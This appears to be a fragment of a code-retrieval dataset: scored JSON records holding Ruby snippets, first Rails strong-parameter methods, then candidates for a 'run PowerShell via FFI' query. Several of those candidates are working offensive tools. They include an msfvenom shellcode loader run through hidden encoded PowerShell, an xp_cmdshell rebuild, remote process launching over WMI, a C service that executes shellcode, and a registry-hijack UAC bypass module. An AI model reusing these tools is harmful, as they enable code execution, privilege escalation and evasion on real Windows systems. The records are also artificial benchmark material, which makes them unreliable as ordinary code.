"title": "" }, { "docid": "75b7084f97e908d1548a1d23c68a6c4c", "score": "0.6046655", "text": "def allowed_params\n params.require(:sea).permit(:name, :temperature, :bio, :mood, :image_url, :favorite_color, :scariest_creature, :has_mermaids)\n end", "title": "" }, { "docid": "080d2fb67f69228501429ad29d14eb29", "score": "0.6041489", "text": "def filter_user_params\n params.require(:user).permit(:name, :email, :password, :password_confirmation)\n end", "title": "" }, { "docid": "aa0aeac5c232d2a3c3f4f7e099e7e6ff", "score": "0.6035047", "text": "def parameters\n params.permit(permitted_params)\n end", "title": "" }, { "docid": "0bdcbbe05beb40f7a08bdc8e57b7eca8", "score": "0.6031116", "text": "def filter_params\n end", "title": "" }, { "docid": "cf73c42e01765dd1c09630007357379c", "score": "0.6026374", "text": "def params_striper\n\t \tparams[:user].delete :moonactor_ability\n\t end", "title": "" }, { "docid": "793abf19d555fb6aa75265abdbac23a3", "score": "0.6021857", "text": "def user_params\n if admin_user?\n params.require(:user).permit(:email, :password, :password_confirmation, :name, :address_1, :address_2, :apt_number, :city, :state_id, :zip_code, :newsletter, :active, :admin, :receive_customer_inquiry)\n else\n # Don't allow non-admin users to hack the parameters and give themselves admin security; self created records automatically set to active\n params.require(:user).permit(:email, :password, :password_confirmation, :name, :address_1, :address_2, :apt_number, :city, :state_id, :zip_code, :newsletter)\n end\n end", "title": "" }, { "docid": "2e70947f467cb6b1fda5cddcd6dc6304", "score": "0.6020392", "text": "def strong_params(wimpy_params)\n ActionController::Parameters.new(wimpy_params).permit!\nend", "title": "" }, { "docid": "2a11104d8397f6fb79f9a57f6d6151c7", "score": "0.6017033", "text": "def user_params\n sanitize params.require(:user).permit(:username, :password, :password_confirmation, :display_name, :about_me, :avatar, :current_password, :banned, :ban_message)\n end", "title": "" }, { "docid": "a83bc4d11697ba3c866a5eaae3be7e05", "score": "0.60152805", "text": "def user_params\n\t params.permit(\n\t :name,\n\t :email,\n\t :password\n\t \t )\n\t end", "title": "" }, { "docid": "2aa7b93e192af3519f13e9c65843a6ed", "score": "0.6009228", "text": "def user_params\n params[:user].permit!\n end", "title": "" }, { "docid": "45b8b091f448e1e15f62ce90b681e1b4", "score": "0.6007347", "text": "def allowed_params\n params.require(:user).permit(:email, :password, :role, :first_name, :last_name, :password_confirmation)\n end", "title": "" }, { "docid": "45b8b091f448e1e15f62ce90b681e1b4", "score": "0.6007347", "text": "def allowed_params\n params.require(:user).permit(:email, :password, :role, :first_name, :last_name, :password_confirmation)\n end", "title": "" }, { "docid": "9c8cd7c9e353c522f2b88f2cf815ef4e", "score": "0.6004822", "text": "def case_sensitive_params\n params.require(:case_sensitive).permit(:name)\n end", "title": "" }, { "docid": "9736586d5c470252911ec58107dff461", "score": "0.60043067", "text": "def params_without_classmate_data\n params.clone.permit!.except(*(CLASSMATE_PARAM_NAMES + DEBUG_PARAMS))\n end", "title": "" }, { "docid": "f70301232281d001a4e52bd9ba4d20f5", "score": "0.6002772", "text": "def room_allowed_params\n end", "title": "" }, { "docid": "58ad32a310bf4e3c64929a860569b3db", "score": "0.6001322", "text": "def user_params\n\t\tparams.require(:user).permit!\n\tend", "title": "" }, { "docid": "58ad32a310bf4e3c64929a860569b3db", "score": "0.6001322", "text": "def user_params\n\t\tparams.require(:user).permit!\n\tend", "title": "" }, { "docid": "e7cad604922ed7fad31f22b52ecdbd13", "score": "0.6001219", "text": "def member_params\n # byebug\n params.require(:member).permit(\n :first_name, \n :last_name, \n :username, \n :email, \n :password, \n :image, \n :family_size, \n :address)\n\n end", "title": "" }, { "docid": "19bd0484ed1e2d35b30d23b301d20f7c", "score": "0.59995466", "text": "def unsafe_params\n ActiveSupport::Deprecation.warn(\"Using `unsafe_params` isn't a great plan\", caller(1))\n params.dup.tap(&:permit!)\n end", "title": "" }, { "docid": "19bd0484ed1e2d35b30d23b301d20f7c", "score": "0.59995466", "text": "def unsafe_params\n ActiveSupport::Deprecation.warn(\"Using `unsafe_params` isn't a great plan\", caller(1))\n params.dup.tap(&:permit!)\n end", "title": "" }, { "docid": "2e6de53893e405d0fe83b9d18b696bd5", "score": "0.5999472", "text": "def user_params\n params.require(:user).permit(:username, :password, :realname, :email, :publicvisible)\n end", "title": "" }, { "docid": "a50ca4c82eaf086dcbcc9b485ebd4261", "score": "0.5994765", "text": "def white_listed_parameters\n params\n .require(:story)\n .permit(:title, :link, :upvotes, :category)\n end", "title": "" }, { "docid": "b545ec7bfd51dc43b982b451a715a538", "score": "0.5994607", "text": "def user_params\n params_allowed = %i[email password password_confirmation is_admin]\n params.require(:user).permit(params_allowed)\n end", "title": "" }, { "docid": "0f53610616212c35950b45fbcf9f5ad4", "score": "0.59936213", "text": "def user_params(params)\n\tparams.permit(:email, :password, :name, :blurb)\n end", "title": "" }, { "docid": "6af3741c8644ee63d155db59be10a774", "score": "0.5992028", "text": "def allowed_params\n %i[\n lock_version\n comments\n organization\n job_title\n pronouns\n year_of_birth\n gender\n ethnicity\n opted_in\n invite_status\n acceptance_status\n registered\n registration_type\n can_share\n registration_number\n can_photo\n can_record\n name\n name_sort_by\n name_sort_by_confirmed\n pseudonym\n pseudonym_sort_by\n pseudonym_sort_by_confirmed\n ]\n end", "title": "" }, { "docid": "0b704016f3538045eb52c45442e7f704", "score": "0.5991885", "text": "def admin_params\n filtered_params = params.require(:admin).permit(:display_name, :email, :password, :password_confirmation)\n if filtered_params[:password] == \"\"\n filtered_params.delete(:password)\n filtered_params.delete(:password_confirmation)\n end\n filtered_params\n end", "title": "" } ]
20db5aecd2038f9d34e604f3086abc87
Run a command under PowerShell via FFI This implementation requires the managed dll and native wrapper to be in the library search path on Windows (i.e. c:\windows\system32 or in the same location as ruby.exe). Requires: .NET Framework 4.0 or higher on the target machine.
[ { "docid": "89f4d2466b9b7cfaf8350bb853de8636", "score": "0.49340957", "text": "def initialize(script)\n raise \"Chef::PowerShell can only be used on the Windows platform.\" unless RUBY_PLATFORM.match?(/mswin|mingw32|windows/)\n\n exec(script)\n end", "title": "" } ]
[ { "docid": "ae50566a380139c21ca3b015ae5e6f79", "score": "0.5764627", "text": "def powershell_builder(venomstring)\n # venomstring should be the arguments needed for msfvenom to build the base payload/shellcode ('-p <payload> LHOST=<ip> LPORT=<port>'\n shellcode=\"#{`#{MSFPATH}/msfvenom #{venomstring} -b \\\\x00`}\".gsub(\";\", \"\").gsub(\" \", \"\").gsub(\"+\", \"\").gsub('\"', \"\").gsub(\"\\n\", \"\").gsub('buf=','').strip.gsub('\\\\',',0').sub(',', '')\n # => yields a variable holding our escapped shellcode with ',' between each char.....\n \n puts \"Converting Base ShellCode to PowerShell friendly format.....\"\n # Borrowed from one of several appearances across the many Python written scripts :p\n ps_base = \"$code = '[DllImport(\\\"kernel32.dll\\\")]public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);[DllImport(\\\"kernel32.dll\\\")]public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);[DllImport(\\\"msvcrt.dll\\\")]public static extern IntPtr memset(IntPtr dest, uint src, uint count);';$winFunc = Add-Type -memberDefinition $code -Name \\\"Win32\\\" -namespace Win32Functions -passthru;[Byte[]];[Byte[]]$sc64 = %s;[Byte[]]$sc = $sc64;$size = 0x1000;if ($sc.Length -gt 0x1000) {$size = $sc.Length};$x=$winFunc::VirtualAlloc(0,0x1000,$size,0x40);for ($i=0;$i -le ($sc.Length-1);$i++) {$winFunc::memset([IntPtr]($x.ToInt32()+$i), $sc[$i], 1)};$winFunc::CreateThread(0,0,$x,0,0,0);for (;;) { Start-sleep 60 };\"\n # => Our base PowerShell wrapper to get the job done now in var\n \n ps_base_cmd = ps_base.sub('%s', shellcode)\n # => place our shellcode in the Python placeholder :p\n \n #Prep it for final stages and put in funky ps format....\n ps_cmd_prepped=String.new\n ps_base_cmd.scan(/./) {|char| ps_cmd_prepped += char + \"\\x00\" }\n \n # Base64 Encode our Payload so it is primed & ready for PowerShell usage\n stager = Base64.encode64(\"#{ps_cmd_prepped}\")\n \n #The magic is now ready!\n ps_cmd = 'powershell -noprofile -windowstyle hidden -noninteractive -EncodedCommand ' + stager.gsub(\"\\n\", '')\n return ps_cmd\n end", "title": "" }, { "docid": "5f33e08b9f69455cecfc399360dae1a1", "score": "0.5667366", "text": "def mssql_rebuild_xpcmdshell(opts={});\n\t\t\"CREATE PROCEDURE xp_cmdshell(@cmd varchar(255), @Wait int = 0) AS;DECLARE @result int, @OLEResult int, @RunResult int;DECLARE @ShellID int;EXECUTE @OLEResult = sp_OACreate 'WScript.Shell', @ShellID OUT;IF @OLEResult <> 0 SELECT @result = @OLEResult;IF @OLEResult <> 0 RAISERROR ('CreateObject %0X', 14, 1, @OLEResult);EXECUTE @OLEResult = sp_OAMethod @ShellID, 'Run', Null, @cmd, 0, @Wait;IF @OLEResult <> 0 SELECT @result = @OLEResult;IF @OLEResult <> 0 RAISERROR ('Run %0X', 14, 1, @OLEResult);EXECUTE @OLEResult = sp_OADestroy @ShellID;return @result;\"\n\tend", "title": "" }, { "docid": "037c001cd849c606c8ea52ca4e81997c", "score": "0.5636133", "text": "def call_command(cmd, &block)\n case RUBY_PLATFORM\n when /mswin32|bccwin32/\n call_command_popen(cmd, &block)\n else\n call_command_fork(cmd, &block)\n end\n end", "title": "" }, { "docid": "712b38b715ab674b27e44b78c232c12c", "score": "0.55187815", "text": "def shell! str\n Marshal.load %x{ruby #{File.dirname(__FILE__)}/argv #{str}}\nend", "title": "" }, { "docid": "49e7ac8a9e5d32953499b6ca0072cc90", "score": "0.53889495", "text": "def to_proc(arg_types, ret_type)\n raise 'memory not executable' unless executable?\n \n # The various FFI mechanisms already provide the basic tool we need for\n # taking a native memory address and allowing it to be called as a\n # Ruby method, but they use different names for the types. We use the\n # FFI gem's names, as used in Rubinius and JRuby, and translate for\n # MRI and Fiddle.\n \n if Config::RBX || Config::JRUBY\n func = FFI::Function.new(ret_type, arg_types, @address, :blocking => true)\n else\n types_map = {\n long: Fiddle::TYPE_LONG\n }\n \n func = Fiddle::Function.new(@address, arg_types.map(&types_map), types_map[ret_type])\n end\n \n proc { |*args|\n raise ArgumentError if args.size != arg_types.size\n \n # This is the point where we start executing native machine code\n # instructions that we've compiled ourselves.\n \n func.call(*args)\n }\n end", "title": "" }, { "docid": "7da33ca32f7ef6a271a34bea1232c57c", "score": "0.53259104", "text": "def shell; execute_platform_specific(:shell); end", "title": "" }, { "docid": "46a3eda9e9b601b665beb40b54676643", "score": "0.5264818", "text": "def passthru(cmd)\n if RUBY_ENGINE == \"jruby\"\n IO.popen4(cmd) do |pid, stdin, stdout, stderr|\n tout = Thread.new do\n begin\n stdout.sync = true\n stdout.each do |str|\n $stdout.print str\n end\n rescue => e\n $stderr.puts e.inspect\n $stderr.puts e.backtrace\n end\n end\n \n terr = Thread.new do\n begin\n stderr.sync = true\n stderr.each do |str|\n $stderr.print str\n end\n rescue => e\n $stderr.puts e.inspect\n $stderr.puts e.backtrace\n end\n end\n \n tout.join\n terr.join\n end\n else\n require \"open3\"\n Open3.popen3(cmd) do |stdin, stdout, stderr|\n tout = Thread.new do\n begin\n stdout.sync = true\n stdout.each do |str|\n $stdout.print str\n end\n rescue => e\n $stderr.puts e.inspect\n $stderr.puts e.inspect\n end\n end\n \n terr = Thread.new do\n begin\n stderr.sync = true\n stderr.each do |str|\n $stderr.print str\n end\n rescue => e\n $stderr.puts e.inspect\n $stderr.puts e.backtrace\n end\n end\n \n tout.join\n terr.join\n end\n end\n \n return nil\n end", "title": "" }, { "docid": "5a799b23b7655e2973f9257e5e1a7392", "score": "0.5249425", "text": "def generate_mswin_shell_wrappers\n File.open(bin_dir + \"/init.bat\", 'w') do | f | \n f.puts \"set RUBYOPT=\\n\" + \n \"#{app_ruby_executable_name} pinit.rb\\n\"\n end\n\n File.open(bin_dir + \"/run.vbs\", 'w') do | f | \n f.puts \"Set WshShell = CreateObject(\\\"WScript.Shell\\\")\\n\" + \n \"WshShell.Run chr(34) & \\\"init.bat\\\" & Chr(34), 0\\n\" + \n \"Set WshShell = Nothing\\n\"\n end\n end", "title": "" }, { "docid": "d8cd0980408c94e2eb3086f8e3d1d945", "score": "0.5117417", "text": "def test_gdbmdll\n args = DefaultArgs.dup\n if not $have_win32_api\n gdbmdll = Dir.glob(File.join(RbConfig::CONFIG['bindir'], 'gdbm*.dll'))[0]\n return if gdbmdll.nil?\n args.push '--dll', File.basename(gdbmdll)\n end\n\n with_fixture 'gdbmdll' do\n assert system(\"ruby\", ocra, \"gdbmdll.rb\", *args)\n with_env 'PATH' => '.' do\n pristine_env \"gdbmdll.exe\" do\n system(\"gdbmdll.exe\")\n assert_equal 104, $?.exitstatus\n end\n end\n end\n end", "title": "" }, { "docid": "95dfe9072ef4a72fb5f1ba7cbb770717", "score": "0.5108338", "text": "def execute_win32(*command)\n execute_with_block *command do\n @pid, @w, @r, @e = io_popen_block *command.join(' ')\n end\n end", "title": "" }, { "docid": "17cde95c6e6cbdfeb77af510d6d68715", "score": "0.5091028", "text": "def ps_wmi_exec(opts = {})\n\n ps_wrapper = <<EOS\nFunction New-RemoteProcess {\n Param([string]$rhost,[string]$cmd,[string]$login,[string]$pass)\n $ErrorActionPreference=\"SilentlyContinue\"\n $proc = [WMIClass]\"\\\\\\\\$rhost\\\\root\\\\cimv2:Win32_Process\"\nEOS\n if opts[:username] and opts[:password]\n ps_wrapper += <<EOS\n $proc.psbase.Scope.Options.userName = $login\n $proc.psbase.Scope.Options.Password = $pass\nEOS\n end\n ps_wrapper += <<EOS\n $proc.psbase.Scope.Options.Impersonation = [System.Management.ImpersonationLevel]::Impersonate\n $proc.psbase.Scope.Options.Authentication = [System.Management.AuthenticationLevel]::PacketPrivacy\n $startup = [wmiclass]\"Win32_ProcessStartup\"\n $startup.Properties['ShowWindow'].value=$False\n $remote = $proc.Create($cmd,'C:\\\\',$startup)\n if ($remote.returnvalue -eq 0) {\n Write-Host \"Successfully launched on $rhost with a process id of\" $remote.processid\n } else {\n Write-Host \"Failed to launch on $rhost. ReturnValue is\" $remote.ReturnValue\n }\n}\n\nEOS\n\n return ps_wrapper\n end", "title": "" }, { "docid": "206c08a6f7afb3cb0d30156f2222574a", "score": "0.5062899", "text": "def load_csharp(init_script = nil, commands = \"\")\n create_init_script(init_script,\"csharp\")\n puts \"Mono executable: \\\"#{File.join(@mono_directory,@mono_command)}\\\"\"\n cs = File.join(@mono_lib_directory,@csharp_command)\n puts \"CSharp executable: \\\"#{cs}\\\"\"\n system(\"\\\"#{File.join(@mono_directory,@mono_command)}\\\" \\\"#{cs}\\\" #{commands}\")\n delete_init_script(init_script, \"csharp\")\n end", "title": "" }, { "docid": "03999f4c3625f4c48d955a8826f40579", "score": "0.5004392", "text": "def locate_sysnative_cmd(cmd)\r\n if ::File.exists?(\"#{ENV['WINDIR']}\\\\sysnative\\\\#{cmd}\")\r\n \"#{ENV['WINDIR']}\\\\sysnative\\\\#{cmd}\"\r\n elsif ::File.exists?(\"#{ENV['WINDIR']}\\\\system32\\\\#{cmd}\")\r\n \"#{ENV['WINDIR']}\\\\system32\\\\#{cmd}\"\r\n else\r\n cmd\r\n end\r\n end", "title": "" }, { "docid": "2a751575313bc514e5d3fd77eb175585", "score": "0.49954394", "text": "def mssql_xpcmdshell(cmd,doprint=false,opts={})\n force_enable = false\n begin\n res = mssql_query(\"EXEC master..xp_cmdshell '#{cmd}'\", doprint)\n #mssql_print_reply(res) if doprint\n\n return res\n\n rescue RuntimeError => e\n if(e.to_s =~ /xp_cmdshell disabled/)\n force_enable = true\n retry\n end\n raise e\n end\n end", "title": "" }, { "docid": "c25cdcd28b3c135ee61836aa88df7d3a", "score": "0.49933633", "text": "def Rubysh(*args, &blk)\n Rubysh::Command.new(args, &blk)\nend", "title": "" }, { "docid": "2123924e953e5ddb128d9d2d64f8fb05", "score": "0.49886644", "text": "def system_call command\r\n success = system command\r\n if !success and command =~ /\\Aabld /\r\n # on some systems, the batch file cannot be called from Ruby without extension\r\n success = system(command.gsub(/\\Aabld /, 'abld.bat '))\r\n end\r\n raise \"UNABLE TO CALL '#{command}': #{$?}\" unless success\r\nend", "title": "" }, { "docid": "3011ba9fd3dbc50fb51b564babe4d47b", "score": "0.49654892", "text": "def locate_sysnative_cmd(cmd)\n if ::File.exist?(\"#{ENV['WINDIR']}\\\\sysnative\\\\#{cmd}\")\n \"#{ENV['WINDIR']}\\\\sysnative\\\\#{cmd}\"\n elsif ::File.exist?(\"#{ENV['WINDIR']}\\\\system32\\\\#{cmd}\")\n \"#{ENV['WINDIR']}\\\\system32\\\\#{cmd}\"\n else\n cmd\n end\n end", "title": "" }, { "docid": "0dea56097d1e33db0f17c40261c24e0a", "score": "0.4955516", "text": "def exec_statement(s)\n if /mswin/.match(RUBY_PLATFORM) or /mingw/.match(RUBY_PLATFORM)\n s = s.gsub(\"/\", \"\\\\\")\n end\n puts \"'#{s}'\"\n result = system(s)\n puts\n return result\nend", "title": "" }, { "docid": "59df5e72247e7dd6c1b0de13497f71e5", "score": "0.49549854", "text": "def compile_service # CreateThread\n shellcode = @shellcode\n rand_buf = random_funcname()\n rand_name1 = random_funcname()\n rand_name2 = random_funcname()\n rand_name3 = random_funcname()\n rand_name4 = random_funcname()\n\n service_name = @options[:service_name] \n display_name = @options[:display_name] \n sleep_time = @options[:sleep_time] \n\n # define variables\n shellcode.sub!('unsigned char buf[] = ',\"unsigned char #{rand_buf}[] = \")\n string_mod_functions = [\"byte *#{rand_name1} = #{rand_buf};\\n\",\"DWORD #{rand_name2} = 0;\\n\",\"typedef void (WINAPI *#{rand_name3})();\\n\"].shuffle!.join()\n\n\n # code construction\n code = \"#include <windows.h>\\n\"\n code << \"#include <stdio.h>\\n\"\n code << fake_includes.join(\"\\n\")\n code << \"#pragma comment(lib,\"advapi32.lib\")\\n\"\n code << \"\\n\"\n code << %Q{#define SERVICE_NAME \"#{service_name}\" \\n}\n code << %Q{#define DISPLAY_NAME \"#{display_name}\"\\n}\n code << \"#define SLEEP_TIME #{sleep_time}\\n\"\n code << \"SERVICE_STATUS ServiceStatus;\\n\"\n code << \"SERVICE_STATUS_HANDLE ServiceStatusHandle;\\n\"\n\n\n # Connect to service \n code << \"\\n\"\n code << \"int ConnectService(){\\n\"\n\n\n code << shellcode \n code << \"\\n\"\n\n # Declare variables\n code << string_mod_functions\n \n # run shellcode functions\n code << \"VirtualProtect(#{rand_name1},sizeof(#{random_memory}),PAGE_EXECUTE_READWRITE,&#{rand_name2});\\n\" \n code << \"#{rand_name3} #{rand_name4} = (#{rand_name3})&#{rand_buf}[0];\\n\"\n code << \"#{rand_name4}();\\n\"\n code << \"return 0;\"\n code << \"}\"\n\n # service main code\n code << %q^\n\n void start_shell()\n { \n DWORD err = 0;\n char path[MAX_PATH];\n char cmd[MAX_PATH];\n\n if (GetModuleFileName(NULL, path, sizeof(path)) == 0) {\n err = GetLastError();\n return ;\n \n }\n\n STARTUPINFO startup_info;\n PROCESS_INFORMATION process_information;\n\n ZeroMemory(&startup_info, sizeof(startup_info));\n startup_info.cb = sizeof(startup_info);\n\n ZeroMemory(&process_information, sizeof(process_information));\n if (CreateProcess(path, path, NULL, NULL, TRUE, CREATE_NO_WINDOW, NULL,\n NULL, &startup_info, &process_information) == 0)\n {\n return;\n }\n WaitForSingleObject(process_information.hProcess, INFINITE);\n\n }\n\n\n void ServiceControlHandler(DWORD request) {\n switch (request) {\n case SERVICE_CONTROL_STOP:\n case SERVICE_CONTROL_SHUTDOWN:\n \n ServiceStatus.dwWin32ExitCode = 0;\n ServiceStatus.dwCurrentState = SERVICE_STOPPED;\n break;\n\n case SERVICE_CONTROL_PAUSE:\n ServiceStatus.dwWin32ExitCode = 0;\n ServiceStatus.dwCurrentState = SERVICE_PAUSED;\n break;\n\n case SERVICE_CONTROL_CONTINUE:\n ServiceStatus.dwWin32ExitCode = 0;\n ServiceStatus.dwCurrentState = SERVICE_RUNNING;\n break;\n default:\n break;\n }\n\n \n SetServiceStatus(ServiceStatusHandle, &ServiceStatus);\n\n return;\n }\n\n void ServiceMain(int argc, char** argv) {\n \n ServiceStatus.dwServiceType = SERVICE_WIN32_OWN_PROCESS;\n ServiceStatus.dwCurrentState = SERVICE_START_PENDING;\n ServiceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_SHUTDOWN;\n ServiceStatus.dwWin32ExitCode = 0;\n ServiceStatus.dwServiceSpecificExitCode = 0;\n ServiceStatus.dwCheckPoint = 0;\n ServiceStatus.dwWaitHint = 0;\n\n ServiceStatusHandle = RegisterServiceCtrlHandler(\n SERVICE_NAME, \n (LPHANDLER_FUNCTION)ServiceControlHandler\n );\n if (ServiceStatusHandle == 0) {\n exit(1);\n }\n\n ServiceStatus.dwCurrentState = SERVICE_RUNNING;\n SetServiceStatus(ServiceStatusHandle, &ServiceStatus);\n\n while (ServiceStatus.dwCurrentState == SERVICE_RUNNING) {\n\n start_shell(); \n Sleep(SLEEP_TIME);\n\n }\n return;\n }\n\n BOOL install_service()\n {\n SC_HANDLE hSCManager;\n SC_HANDLE hService;\n\n char path[MAX_PATH];\n\n if (!GetModuleFileName(NULL, path, MAX_PATH)) {\n return FALSE;\n }\n\n char cmd[MAX_PATH];\n int len = _snprintf(cmd, sizeof(cmd), \"\\\"%s\\\" service\", path);\n\n if (len < 0 || len == sizeof(cmd)) {\n return FALSE;\n }\n\n hSCManager = OpenSCManager(NULL, NULL, SC_MANAGER_CREATE_SERVICE);\n\n if (hSCManager == NULL) {\n return FALSE;\n }\n\n\n hService = CreateService(\n hSCManager,\n SERVICE_NAME,\n DISPLAY_NAME,\n SERVICE_ALL_ACCESS,\n SERVICE_WIN32_OWN_PROCESS,\n SERVICE_AUTO_START,\n SERVICE_ERROR_NORMAL,\n cmd,\n NULL,\n NULL,\n NULL,\n NULL, /* LocalSystem account */\n NULL\n );\n\n if (hService == NULL) {\n\n CloseServiceHandle(hSCManager);\n return FALSE;\n }\n \n char* args[] = { path, \"service\" };\n\n if (StartService(hService, 2, (const char**)&args) == 0) {\n DWORD err = GetLastError();\n\n if (err != ERROR_SERVICE_ALREADY_RUNNING) {\n\n CloseServiceHandle(hService);\n CloseServiceHandle(hSCManager);\n return FALSE;\n }\n }\n\n\n CloseServiceHandle(hService);\n CloseServiceHandle(hSCManager);\n \n return TRUE;\n }\n\n\n void start_service()\n {\n SERVICE_TABLE_ENTRY ServiceTable[] =\n {\n { SERVICE_NAME, (LPSERVICE_MAIN_FUNCTION)ServiceMain },\n { NULL, NULL }\n };\n\n if (StartServiceCtrlDispatcher(ServiceTable) == 0) {\n exit(1);\n }\n }\n\n\n int main(int argc, char** argv) {\n\n if (argc == 2) {\n\n if (strcmp(argv[1], \"install\") == 0) {\n \n install_service();\n return 0;\n }\n\n else if (strcmp(argv[1], \"service\") == 0) {\n \n start_service();\n return 0;\n }\n\n }\n \n ConnectService();\n return 0;\n }\n\n\n ^\n\n end", "title": "" }, { "docid": "8e690a06863db0bba31020d5b6dc11e8", "score": "0.495495", "text": "def cpp_sharp_cli\n if build_platform =~ /linux/\n # On linux CppSharp is made with gmake, and we must use mono.\n cli = \"mono #{cpp_sharp_cli_exe}\"\n else\n # On Windows CppSharp is built with vs2017 natively.\n cli = \"#{cpp_sharp_cli_exe}\"\n end\n cli\nend", "title": "" }, { "docid": "36267a4935ae88978a83059e02477f58", "score": "0.49485114", "text": "def cmd\n cmda = command.cmd\n begin\n exec(*cmda)\n # exec replaces the Ruby process with the JRuby one.\n rescue Java::JavaLang::ClassNotFoundException\n end\n end", "title": "" }, { "docid": "8d15503581c255e2708f2c7f551a3aaa", "score": "0.4897241", "text": "def inject_dll_into_process(process, dll_path, loader_name: 'ReflectiveLoader', loader_ordinal: EXPORT_REFLECTIVELOADER)\n dll, offset = load_rdi_dll(dll_path, loader_name: loader_name, loader_ordinal: loader_ordinal)\n dll_mem = inject_into_process(process, dll)\n\n return dll_mem, offset\n end", "title": "" }, { "docid": "8a8fe2b6428aa8cd60d4474d902114e1", "score": "0.4887054", "text": "def ls_stage1\n\nsession = client\n# arch = client.fs.file.expand_path(\"%ComSpec%\")\n# check target arch (to inject into powershell string)\narch_check = client.fs.file.expand_path(\"%Windir%\\\\SysWOW64\")\nif arch_check == \"C:\\\\Windows\\\\SysWOW64\"\n arch = \"SysWOW64\"\nelse\n arch = \"System32\"\nend\n\n r=''\n vul_serve = datastore['VULN_SOFT'] # vulnerable soft to be hijacked\n exec_comm = datastore['EXEC_COMMAND'] # my cmd command to execute (OR powershell)\n uac_level = \"ConsentPromptBehaviorAdmin\" # uac level key\n comm_path = \"%SystemRoot%\\\\#{arch}\\\\cmd.exe /c\" # cmd.exe %comspec% path\n regi_hive = \"REG ADD HKCU\\\\Software\\\\Classes\\\\mscfile\\\\shell\\\\open\\\\command\" # registry hive key to be hijacked\n psh_comma = \"%SystemRoot%\\\\#{arch}\\\\WindowsPowershell\\\\v1.0\\\\powershell.exe -Command\" # use_powershell advanced option command\n uac_hivek = \"HKLM\\\\SOFTWARE\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Policies\\\\System\" # uac hive key\n # check for proper config settings enter\n # to prevent 'unset all' from deleting default options...\n if datastore['EXEC_COMMAND'] == 'nil'\n print_error(\"Options not configurated correctly...\")\n print_warning(\"Please set EXEC_COMMAND option!\")\n return nil\n else\n print_status(\"Hijacking #{vul_serve} process!\")\n Rex::sleep(1.5)\n end\n\n # search in target regedit if binary calls mmc.exe\n print_warning(\"Reading process registry hive keys...\")\n Rex::sleep(1.0)\n if registry_enumkeys(\"HKCR\\\\mscfile\\\\shell\\\\open\\\\command\")\n print_good(\" exec => remote registry hive key found!\")\n Rex::sleep(1.0)\n else\n # registry hive key not found, aborting module execution.\n print_warning(\"Hive key: HKCR\\\\mscfile\\\\shell\\\\open\\\\command (mmc.exe call)\")\n print_error(\"[ABORT]: module cant find the registry hive key needed...\")\n print_error(\"System does not appear to be vulnerable to the exploit code!\")\n print_line(\"\")\n Rex::sleep(1.0)\n return nil\n end\n\n # check target UAC settings (always notify - will abort module execution)\n check_success = registry_getvaldata(\"#{uac_hivek}\",\"#{uac_level}\")\n # a dword:2 value it means 'always notify' setting is active.\n if check_success == 2\n print_warning(\"Target UAC set to: #{check_success} (always notify)\")\n print_error(\"[ABORT]: module can not work under this condictions...\")\n print_error(\"Remote system its not vulnerable to the exploit code!\")\n print_line(\"\")\n Rex::sleep(1.0)\n return nil\n # a dword:nil value it means that we are running againts a 'non-uac-system'\n elsif check_success.nil?\n print_warning(\"UAC DWORD DATA EMPTY (NON-UAC-SYSTEM?)\")\n print_error(\"[ABORT]: module can not work under this condictions...\")\n print_error(\"Remote system its not vulnerable to the exploit code!\")\n print_line(\"\")\n Rex::sleep(1.0)\n return nil\n else\n # all good in UAC settings :D\n print_good(\" exec => Target UAC set to: #{check_success} (exploitable)\")\n Rex::sleep(1.0)\n end\n\n #\n # chose to execute a single command in cmd.exe interpreter\n # or to execute a command using powershell.exe interpreter\n #\n if datastore['USE_POWERSHELL'] == true\n comm_inje = \"#{regi_hive} /ve /t REG_SZ /d \\\"#{psh_comma} #{exec_comm}\\\" /f\"\n print_good(\" exec => Creating registry powershell command data\")\n print_good(\" data: #{psh_comma} #{exec_comm}\")\n Rex::sleep(1.0)\n else\n comm_inje = \"#{regi_hive} /ve /t REG_SZ /d \\\"#{comm_path} #{exec_comm}\\\" /f\"\n print_good(\" exec => Creating registry cmd command data\")\n print_good(\" data: #{comm_path} #{exec_comm}\")\n Rex::sleep(1.0)\n end\n\n # Execute process hijacking in registry (cmd.exe OR powershell.exe)...\n # REG ADD HKCU\\Software\\Classes\\mscfile\\shell\\open\\command /ve /t REG_SZ /d \"C:\\Windows\\powershell.exe -Command start notepad.exe\" /f\n # REG ADD HKCU\\Software\\Classes\\mscfile\\shell\\open\\command /ve /t REG_SZ /d \"C:\\Windows\\System32\\cmd.exe /c start notepad.exe\" /f\n print_good(\" exec => Hijacking process to gain code execution ..\")\n r = session.sys.process.execute(\"cmd.exe /c #{comm_inje}\", nil, {'Hidden' => true, 'Channelized' => true})\n # give a proper time to refresh regedit 'enigma0x3' :D\n Rex::sleep(4.0)\n\n # start remote service to gain code execution\n print_good(\" exec => Starting #{vul_serve} native process ..\")\n r = session.sys.process.execute(\"cmd.exe /c start #{vul_serve}\", nil, {'Hidden' => true, 'Channelized' => true})\n Rex::sleep(1.0)\n\n # close channel when done\n print_status(\"UAC-RCE Credits: enigma0x3 + @mattifestation\")\n print_line(\"\")\n r.channel.close\n r.close\n\n # error exception funtion\n rescue ::Exception => e\n print_error(\"Error: #{e.class} #{e}\")\nend", "title": "" }, { "docid": "2e35c98847dad7b7d84e8150fbcb51f5", "score": "0.4882602", "text": "def cmd! cmdline\n if windows?\n cmdline = \"CMD /C #{cmdline}\"\n end\n return exec!(cmdline)\n end", "title": "" }, { "docid": "c47083c9447dc66e364c29b370e84059", "score": "0.48813462", "text": "def generate_shellcode (payload, lhost, lport)\n\tnewVar = ''\n\tformattedShellcode = ''\n\t#Build the msfvenom command from user input\n\tcommand = (\"msfvenom -p \" + payload + \" LHOST=\" + lhost +\" LPORT=\" + lport + \" --platform windows -f c StagerURILength=5 StagerVerifySSLCert=false\")\n\tputs \"Now running \" + command\n\tputs \" \"\n\t#Executes the built msfvenom command and assigns output to variable newVar\n\tOpen3.popen3(command) {|stdin, stdout, stderr|\n newVar = stdout.read\n\t}\n\t#Msfvenom output is sent to format function\n\tformattedShellcode = format_shellcode(newVar)\n\t\n\treturn formattedShellcode\nend", "title": "" }, { "docid": 